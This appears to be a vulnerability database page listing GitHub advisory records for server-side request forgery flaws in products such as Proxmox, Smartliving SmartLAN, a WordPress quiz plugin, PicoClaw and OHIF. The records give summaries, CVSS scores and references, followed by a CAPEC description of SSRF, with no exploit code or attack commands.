Vulnerability from github – Published: 2026-01-08 00:31 – Updated: 2026-01-08 00:31Smartliving SmartLAN/G/SI <=6.x contains an unauthenticated server-side request forgery vulnerability in the GetImage functionality through the 'host' parameter. Attackers can exploit the onvif.cgi endpoint by specifying external domains to bypass firewalls and perform network enumeration through arbitrary HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2019-25290"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T00:15:58Z",
"severity": "MODERATE"
},
"details": "Smartliving SmartLAN/G/SI \u003c=6.x contains an unauthenticated server-side request forgery vulnerability in the GetImage functionality through the \u0027host\u0027 parameter. Attackers can exploit the onvif.cgi endpoint by specifying external domains to bypass firewalls and perform network enumeration through arbitrary HTTP requests.",
"id": "GHSA-jfj5-mxvh-9vgr",
"modified": "2026-01-08T00:31:15Z",
"published": "2026-01-08T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25290"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/172839"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/155617"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47764"
},
{
"type": "WEB",
"url": "https://www.inim.biz"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JFJW-XC26-6XPM
Vulnerability from github – Published: 2022-12-04 21:30 – Updated: 2025-04-24 18:31Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) are vulnerable to SSRF when proxying HTTP requests between pve(pmg)proxy and pve(pmg)daemon. An attacker with an unprivileged account can craft an HTTP request to achieve SSRF and file disclosure of any files on the server. Also, in Proxmox Mail Gateway, privilege escalation to the root@pam account is possible if the backup feature has ever been used, because backup files such as pmg-backup_YYYY_MM_DD_*.tgz have 0644 permissions and contain an authkey value. This is fixed in pve-http-server 4.1-3.
{
"affected": [],
"aliases": [
"CVE-2022-35508"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-04T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) are vulnerable to SSRF when proxying HTTP requests between pve(pmg)proxy and pve(pmg)daemon. An attacker with an unprivileged account can craft an HTTP request to achieve SSRF and file disclosure of any files on the server. Also, in Proxmox Mail Gateway, privilege escalation to the root@pam account is possible if the backup feature has ever been used, because backup files such as pmg-backup_YYYY_MM_DD_*.tgz have 0644 permissions and contain an authkey value. This is fixed in pve-http-server 4.1-3.",
"id": "GHSA-jfjw-xc26-6xpm",
"modified": "2025-04-24T18:31:01Z",
"published": "2022-12-04T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35508"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git%3Ba=commitdiff%3Bh=580d540ea907ba15f64379c5bb69ecf1a49a875f"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git%3Ba=commitdiff%3Bh=c2bd69c7b5e9c775f96021cf8ae53da3dbd9029d"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git%3Ba=commitdiff%3Bh=e9df8a6e76b2a18f89295a5d92a62177bbf0f762"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=580d540ea907ba15f64379c5bb69ecf1a49a875f"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=c2bd69c7b5e9c775f96021cf8ae53da3dbd9029d"
},
{
"type": "WEB",
"url": "https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=e9df8a6e76b2a18f89295a5d92a62177bbf0f762"
},
{
"type": "WEB",
"url": "https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JFM3-JH2M-2H53
Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2026-04-01 18:33Server-Side Request Forgery (SSRF) vulnerability in Kiboko Labs Chained Quiz allows Server Side Request Forgery. This issue affects Chained Quiz: from n/a through 1.3.2.9.
{
"affected": [],
"aliases": [
"CVE-2025-24701"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T18:15:43Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Kiboko Labs Chained Quiz allows Server Side Request Forgery. This issue affects Chained Quiz: from n/a through 1.3.2.9.",
"id": "GHSA-jfm3-jh2m-2h53",
"modified": "2026-04-01T18:33:27Z",
"published": "2025-01-24T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24701"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/chained-quiz/vulnerability/wordpress-chained-quiz-plugin-1-3-2-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JFQV-GFXR-5HM7
Vulnerability from github – Published: 2026-07-10 00:31 – Updated: 2026-07-10 00:31A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. Affected by this vulnerability is the function WebFetchTool.Execute of the file pkg/tools/integration/web.go of the component Guarded Web Fetch Flow. The manipulation results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically due to inactivity.
{
"affected": [],
"aliases": [
"CVE-2026-15317"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T00:16:33Z",
"severity": "LOW"
},
"details": "A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. Affected by this vulnerability is the function WebFetchTool.Execute of the file pkg/tools/integration/web.go of the component Guarded Web Fetch Flow. The manipulation results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically due to inactivity.",
"id": "GHSA-jfqv-gfxr-5hm7",
"modified": "2026-07-10T00:31:28Z",
"published": "2026-07-10T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15317"
},
{
"type": "WEB",
"url": "https://github.com/sipeed/picoclaw/issues/3078"
},
{
"type": "WEB",
"url": "https://github.com/sipeed/picoclaw"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-15317"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/852877"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/377257"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/377257/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JFR3-MC8C-WQGX
Vulnerability from github – Published: 2026-06-25 21:31 – Updated: 2026-06-25 21:31Two data sources (DICOMWebProxy and DICOMJSON) shipped in the default configuration fetch an arbitrary URL parameter without validation. A global authentication service in OHIF automatically injects the authenticated user's OIDC Bearer token into the resulting requests, sending it to the attacker-controlled server. DICOMweb data sources are not impacted.
{
"affected": [],
"aliases": [
"CVE-2026-12473"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T21:16:26Z",
"severity": "HIGH"
},
"details": "Two data sources (DICOMWebProxy and DICOMJSON) shipped in the default configuration fetch an arbitrary URL parameter without validation. A global authentication service in OHIF automatically injects the authenticated user\u0027s OIDC Bearer token into the resulting requests, sending it to the attacker-controlled server. DICOMweb data sources are not impacted.",
"id": "GHSA-jfr3-mc8c-wqgx",
"modified": "2026-06-25T21:31:31Z",
"published": "2026-06-25T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12473"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsma-26-176-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsma-26-176-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.